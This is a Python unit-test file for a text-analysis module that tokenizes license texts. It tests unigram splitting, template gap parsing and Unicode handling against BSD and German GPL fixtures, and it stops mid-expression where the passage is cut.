from textcode.analysis import template_processor from textcode.analysis import ngram_to_token from textcode.analysis import ngram_tokenizer from textcode.analysis import tokens_ngram_processor from textcode.analysis import doc_subset from textcode.analysis import unicode_text_lines from textcode.analysis import text_lines ############################################################################# # # Code style note: lines are not wrapped to PEP8 line length on purpose # to keep the tests more readable # ############################################################################# class TestDocsubset(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_doc_subset_single_line(self): doc = '''A simple test with multiple lines of text '''.splitlines() pos = Token(start=0, end=0, start_line=1, start_char=8, end_line=1, end_char=21) expected = '''with multiple''' tst = doc_subset(iter(doc), pos) result = '\n'.join(tst) assert expected == result def test_doc_subset_multilines(self): doc = '''0123456789\n0123456789\n'''.splitlines() pos = Token(start=0, end=0, start_line=0, start_char=0, end_line=0, end_char=10) expected = '0123456789' tst = doc_subset(iter(doc), pos) result = ''.join(tst) assert expected == result def test_doc_subset(self): doc = iter('''A simple test with multiple lines of text '''.splitlines()) pos = Token(start=3, end=54, start_line=1, start_char=8, end_line=2, end_char=11) expected = u'''with multiple lin''' tst = doc_subset(iter(doc), pos) result = u'\n'.join(tst) assert expected == result class TestAnalysis(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_text_lines_from_list_or_location_yield_same_results(self): test_file = self.get_test_loc('analysis/bsd-new') with open(test_file, 'rb') as inf: test_strings_list = inf.read().splitlines(True) # test when we are passing a location or a list from_loc = list(text_lines(location=test_file)) from_list = list(text_lines(location=test_strings_list)) assert from_loc == from_list class TestUnigrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_unigrams_word_splitter_handles_empty_string(self): text = iter(['']) result = list(unigram_splitter(text, splitter=word_splitter)) assert [] == result def test_unigrams_word_splitter_handles_blank_lines(self): text = iter([u' ', u'', u'\t ']) result = list(unigram_splitter(text, splitter=word_splitter)) assert [] == result def test_unigrams_word_splitter_can_split(self): text = iter(u'abc def \n GHI'.splitlines()) result = list(unigram_splitter(text, splitter=word_splitter)) expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=3, value=u'abc'), Token(start_line=0, end_line=0, start_char=4, end_char=7, value=u'def'), Token(start_line=1, end_line=1, start_char=1, end_char=4, value=u'ghi'), ] assert expected == result def test_unigrams_word_splitter_handles_empty_iterable(self): text = iter([]) result = list(unigram_splitter(text, splitter=word_splitter)) assert [] == result def test_unigrams_template_splitter_handles_empty_string(self): text = iter(['']) result = list(unigram_splitter(text, splitter=template_splitter)) assert [] == result def test_unigrams_template_splitter_handles_blank_lines(self): text = iter([' ', '', '\t ']) result = list(unigram_splitter(text, splitter=template_splitter)) assert [] == result def test_unigrams_template_splitter_handles_empty_iterable(self): text = iter([]) result = list(unigram_splitter(text, splitter=template_splitter)) assert [] == result def test_unigrams_template_splitter_can_split(self): text = iter(u'abc def \n GHI'.splitlines()) result = list(unigram_splitter(text, splitter=template_splitter)) assert [u'abc', u'def', u'ghi'] == [x.value for x in result] def test_unigrams_template_splitter_can_split_templates(self): text = u'abc def \n {{temp}} GHI'.splitlines() result = list(unigram_splitter(text, splitter=template_splitter)) expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=3, value=u'abc'), Token(start_line=0, end_line=0, start_char=4, end_char=7, value=u'def'), Token(start_line=1, end_line=1, start_char=1, end_char=3, value=u'{{'), Token(start_line=1, end_line=1, start_char=3, end_char=7, value=u'temp'), Token(start_line=1, end_line=1, start_char=7, end_char=9, value=u'}}'), Token(start_line=1, end_line=1, start_char=10, end_char=13, value=u'ghi'), ] assert expected == result def test_position_processor(self): tokens = [ Token(value=u'abc'), Token(value=u'def'), Token(value=u'temp'), Token(value=u'ghi'), ] expected = [ Token(value=u'abc', start=0, end=0), Token(value=u'def', start=1, end=1), Token(value=u'temp', start=2, end=2), Token(value=u'ghi', start=3, end=3), ] result = list(position_processor(tokens)) assert expected == result def test_unigram_tokenizer(self): inp = u'''Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.''' tst = list(unigram_tokenizer(inp.splitlines(True))) assert 39 == len(tst) expected = u'''redistribution and use in source and binary forms with or without modification are permitted provided that the following conditions are met redistributions of source code must retain the above copyright notice this list of conditions and the following disclaimer'''.split() result = [t.value for t in tst] assert expected == result class TestTemplates(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def template_parsing(self, lines): if isinstance(lines, basestring): lines = lines.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) return list(template_processor(unigrams)) def test_process_template_handles_empty_templates_using_default_gap(self): lines = [u'ab{{}}cd'] expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=6, end_char=8, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_recognizes_template_with_gap(self): lines = u'ab{{10 nexb Company}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=10), Token(start_line=0, end_line=0, start_char=21, end_char=23, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_raise_invalid_gap_exception(self): lines = u'ab{{151 nexb Company}}cd' self.assertRaises(InvalidGapError, self.template_parsing, lines) def test_process_template_recognizes_template_with_maxgap(self): lines = u'ab{{150 nexb Company}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=150), Token(start_line=0, end_line=0, start_char=22, end_char=24, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_recognizes_template_with_only_gap(self): lines = u'ab{{10}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=10), Token(start_line=0, end_line=0, start_char=8, end_char=10, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_recognizes_template_with_only_gap_and_spaces(self): lines = u'ab{{ 10 }}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=10), Token(start_line=0, end_line=0, start_char=16, end_char=18, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_set_default_gap_if_none_is_specified(self): lines = u'ab{{nexb Company}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=20, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_set_default_gap_if_none_is_specified_ignoring_spaces(self): lines = u'ab{{ \sdsdnexb Companysd }}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=28, end_char=30, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_can_process_multiple_templatized_regions_with_default_gap(self): lines = u'ab{{nexb Company}}cd {{second}}ef' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=20, value=u'cd', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=31, end_char=33, value=u'ef', gap=NO_GAP), ] assert expected == self.template_parsing(lines) def test_process_template_can_process_multiple_templatized_regions_with_default_gap_and_custom_gaps(self): lines = u'ab{{nexb Company}}cd{{12 second}}ef{{12 second}}gh' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=20, value=u'cd', gap=12), Token(start_line=0, end_line=0, start_char=33, end_char=35, value=u'ef', gap=12), Token(start_line=0, end_line=0, start_char=48, end_char=50, value=u'gh', gap=NO_GAP), ] assert expected == self.template_parsing(lines) def test_process_template_handles_combination_of_well_formed_and_ill_formed_templates(self): lines = u'ab{{c}}d}}ef' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=7, end_char=8, value=u'd', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=10, end_char=12, value=u'ef', gap=NO_GAP), ] assert expected == self.template_parsing(lines) def test_process_template_handles_empty_lines(self): lines = u'\n\n' expected = [] assert expected == self.template_parsing(lines) def test_process_template_handles_None(self): lines = None expected = [] assert expected == self.template_parsing(lines) def test_process_template_can_parse_simple_line(self): lines = u'Licensed by {{12 nexB}} to you ' expected = u'licensed by to you' result = u' '.join(x.value for x in self.template_parsing(lines)) assert expected == result def test_process_template_does_not_throw_exception_for_illegal_pystache_templates(self): lines = u'''Permission to use, copy, modify, and {{ /or : the lines exist without or }} distribute this software...''' self.template_parsing(lines) def test_process_template_handles_unicode_text_correctly(self): expected = [ Token(start_line=0, end_line=0, start_char=1, end_char=4, value=u'ist', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=5, end_char=10, value=u'freie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=11, end_char=19, value=u'software', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=21, end_char=24, value=u'sie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=25, end_char=31, value=u'k\xf6nnen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=32, end_char=34, value=u'es', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=35, end_char=40, value=u'unter', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=41, end_char=44, value=u'den', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=45, end_char=56, value=u'bedingungen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=57, end_char=60, value=u'der', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=61, end_char=64, value=u'gnu', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=1, end_char=8, value=u'general', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=17, end_char=20, value=u'wie', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=21, end_char=24, value=u'von', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=25, end_char=28, value=u'der', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=29, end_char=33, value=u'free', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=34, end_char=42, value=u'software', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=43, end_char=53, value=u'foundation', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=54, end_char=68, value=u'ver\xf6ffentlicht', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=1, end_char=12, value=u'weitergeben', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=13, end_char=16, value=u'und', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=17, end_char=21, value=u'oder', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=23, end_char=24, value=u'n', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=1, end_char=13, value=u'modifizieren', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=15, end_char=23, value=u'entweder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=24, end_char=29, value=u'gem\xe4\xdf', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=30, end_char=37, value=u'version', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=38, end_char=39, value=u'3', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=40, end_char=43, value=u'der', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=44, end_char=50, value=u'lizenz', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=51, end_char=55, value=u'oder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=57, end_char=61, value=u'nach', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=62, end_char=67, value=u'ihrer', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=68, end_char=74, value=u'option', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=1, end_char=6, value=u'jeder', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=7, end_char=15, value=u'sp\xe4teren', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=1, end_char=8, value=u'version', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=7, end_line=7, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=1, end_char=4, value=u'die', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=5, end_char=21, value=u'ver\xf6ffentlichung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=22, end_char=25, value=u'von', gap=DEFAULT_GAP), Token(start_line=8, end_line=8, start_char=38, end_char=45, value=u'erfolgt', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=46, end_char=48, value=u'in', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=49, end_char=52, value=u'der', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=53, end_char=61, value=u'hoffnung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=63, end_char=66, value=u'da\xdf', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=67, end_char=69, value=u'es', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=70, end_char=75, value=u'ihnen', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=76, end_char=79, value=u'von', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=1, end_char=7, value=u'nutzen', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=9, end_char=10, value=u'n', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=1, end_char=5, value=u'sein', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=6, end_char=10, value=u'wird', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=12, end_char=16, value=u'aber', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=17, end_char=21, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=22, end_char=32, value=u'irgendeine', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=33, end_char=41, value=u'garantie', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=43, end_char=48, value=u'sogar', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=49, end_char=53, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=54, end_char=57, value=u'die', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=58, end_char=67, value=u'implizite', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=68, end_char=76, value=u'garantie', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=5, end_char=15, value=u'marktreife', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=1, end_char=5, value=u'oder', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=6, end_char=9, value=u'der', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=10, end_char=24, value=u'verwendbarkeit', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=25, end_char=28, value=u'f\xfcr', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=29, end_char=34, value=u'einen', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=35, end_char=45, value=u'bestimmten', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=46, end_char=51, value=u'zweck', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=53, end_char=60, value=u'details', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=61, end_char=67, value=u'finden', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=68, end_char=71, value=u'sie', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=72, end_char=74, value=u'in', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=5, end_char=8, value=u'gnu', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=9, end_char=16, value=u'general', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=18, end_char=19, value=u'n', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=15, end_line=15, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=1, end_char=4, value=u'sie', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=5, end_char=12, value=u'sollten', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=13, end_char=16, value=u'ein', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=17, end_char=25, value=u'exemplar', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=26, end_char=29, value=u'der', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=30, end_char=33, value=u'gnu', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=34, end_char=41, value=u'general', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=42, end_char=48, value=u'public', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=49, end_char=56, value=u'license', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=57, end_char=65, value=u'zusammen', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=66, end_char=69, value=u'mit', gap=DEFAULT_GAP), Token(start_line=17, end_line=17, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=1, end_char=9, value=u'erhalten', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=10, end_char=15, value=u'haben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=17, end_char=22, value=u'falls', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=23, end_char=28, value=u'nicht', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=30, end_char=39, value=u'schreiben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=40, end_char=43, value=u'sie', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=44, end_char=46, value=u'an', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=47, end_char=50, value=u'die', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=51, end_char=55, value=u'free', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=56, end_char=64, value=u'software', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=65, end_char=75, value=u'foundation', gap=NO_GAP), Token(start_line=19, end_line=19, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=1, end_char=4, value=u'inc', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=7, end_char=9, value=u'51', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=10, end_char=18, value=u'franklin', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=19, end_char=21, value=u'st', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=23, end_char=28, value=u'fifth', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=29, end_char=34, value=u'floor', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=36, end_char=42, value=u'boston', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=44, end_char=46, value=u'ma', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=47, end_char=52, value=u'02110', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=54, end_char=57, value=u'usa', gap=NO_GAP), ] test_file = self.get_test_loc('analysis/unicode/12180.atxt') with codecs.open(test_file, encoding='utf-8') as test: lines = test.read().splitlines() result = list(self.template_parsing(lines)) assert expected == result def test_process_template_can_handle_long_text(self): expected = [ Token(start_line=0, end_line=0, start_char=14, end_char=17, value=u'ist', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=23, value=u'freie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=24, end_char=32, value=u'software', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=34, end_char=37, value=u'sie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=38, end_char=44, value=u'k\xf6nnen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=45, end_char=47, value=u'es', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=48, end_char=53, value=u'unter', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=54, end_char=57, value=u'den', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=58, end_char=69, value=u'bedingungen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=70, end_char=73, value=u'der', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=74, end_char=77, value=u'gnu', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=1, end_char=8, value=u'general', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=17, end_char=20, value=u'wie', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=21, end_char=24, value=u'von', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=25, end_char=28, value=u'der', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=29, end_char=33, value=u'free', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=34, end_char=42, value=u'software', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=43, end_char=53, value=u'foundation', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=54, end_char=68, value=u'ver\xf6ffentlicht', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=1, end_char=12, value=u'weitergeben', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=13, end_char=16, value=u'und', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=17, end_char=21, value=u'oder', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=23, end_char=24, value=u'n', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=1, end_char=13, value=u'modifizieren', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=15, end_char=23, value=u'entweder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=24, end_char=29, value=u'gem\xe4\xdf', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=30, end_char=37, value=u'version', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=38, end_char=39, value=u'3', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=40, end_char=43, value=u'der', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=44, end_char=50, value=u'lizenz', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=51, end_char=55, value=u'oder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=57, end_char=61, value=u'nach', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=62, end_char=67, value=u'ihrer', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=68, end_char=74, value=u'option', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=1, end_char=6, value=u'jeder', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=7, end_char=15, value=u'sp\xe4teren', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=1, end_char=8, value=u'version', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=7, end_line=7, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=1, end_char=4, value=u'die', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=5, end_char=21, value=u'ver\xf6ffentlichung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=22, end_char=25, value=u'von', gap=DEFAULT_GAP), Token(start_line=8, end_line=8, start_char=38, end_char=45, value=u'erfolgt', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=46, end_char=48, value=u'in', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=49, end_char=52, value=u'der', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=53, end_char=61, value=u'hoffnung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=63, end_char=66, value=u'da\xdf', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=67, end_char=69, value=u'es', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=70, end_char=75, value=u'ihnen', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=76, end_char=79, value=u'von', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=1, end_char=7, value=u'nutzen', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=9, end_char=10, value=u'n', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=1, end_char=5, value=u'sein', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=6, end_char=10, value=u'wird', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=12, end_char=16, value=u'aber', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=17, end_char=21, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=22, end_char=32, value=u'irgendeine', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=33, end_char=41, value=u'garantie', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=43, end_char=48, value=u'sogar', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=49, end_char=53, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=54, end_char=57, value=u'die', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=58, end_char=67, value=u'implizite', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=68, end_char=76, value=u'garantie', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=5, end_char=15, value=u'marktreife', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=1, end_char=5, value=u'oder', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=6, end_char=9, value=u'der', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=10, end_char=24, value=u'verwendbarkeit', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=25, end_char=28, value=u'f\xfcr', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=29, end_char=34, value=u'einen', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=35, end_char=45, value=u'bestimmten', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=46, end_char=51, value=u'zweck', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=53, end_char=60, value=u'details', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=61, end_char=67, value=u'finden', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=68, end_char=71, value=u'sie', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=72, end_char=74, value=u'in', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=5, end_char=8, value=u'gnu', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=9, end_char=16, value=u'general', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=18, end_char=19, value=u'n', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=15, end_line=15, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=1, end_char=4, value=u'sie', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=5, end_char=12, value=u'sollten', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=13, end_char=16, value=u'ein', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=17, end_char=25, value=u'exemplar', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=26, end_char=29, value=u'der', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=30, end_char=33, value=u'gnu', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=34, end_char=41, value=u'general', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=42, end_char=48, value=u'public', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=49, end_char=56, value=u'license', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=57, end_char=65, value=u'zusammen', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=66, end_char=69, value=u'mit', gap=DEFAULT_GAP), Token(start_line=17, end_line=17, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=1, end_char=9, value=u'erhalten', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=10, end_char=15, value=u'haben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=17, end_char=22, value=u'falls', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=23, end_char=28, value=u'nicht', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=30, end_char=39, value=u'schreiben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=40, end_char=43, value=u'sie', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=44, end_char=46, value=u'an', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=47, end_char=50, value=u'die', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=51, end_char=55, value=u'free', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=56, end_char=64, value=u'software', gap=NO_GAP), Token(start_line=18, end_line=18, 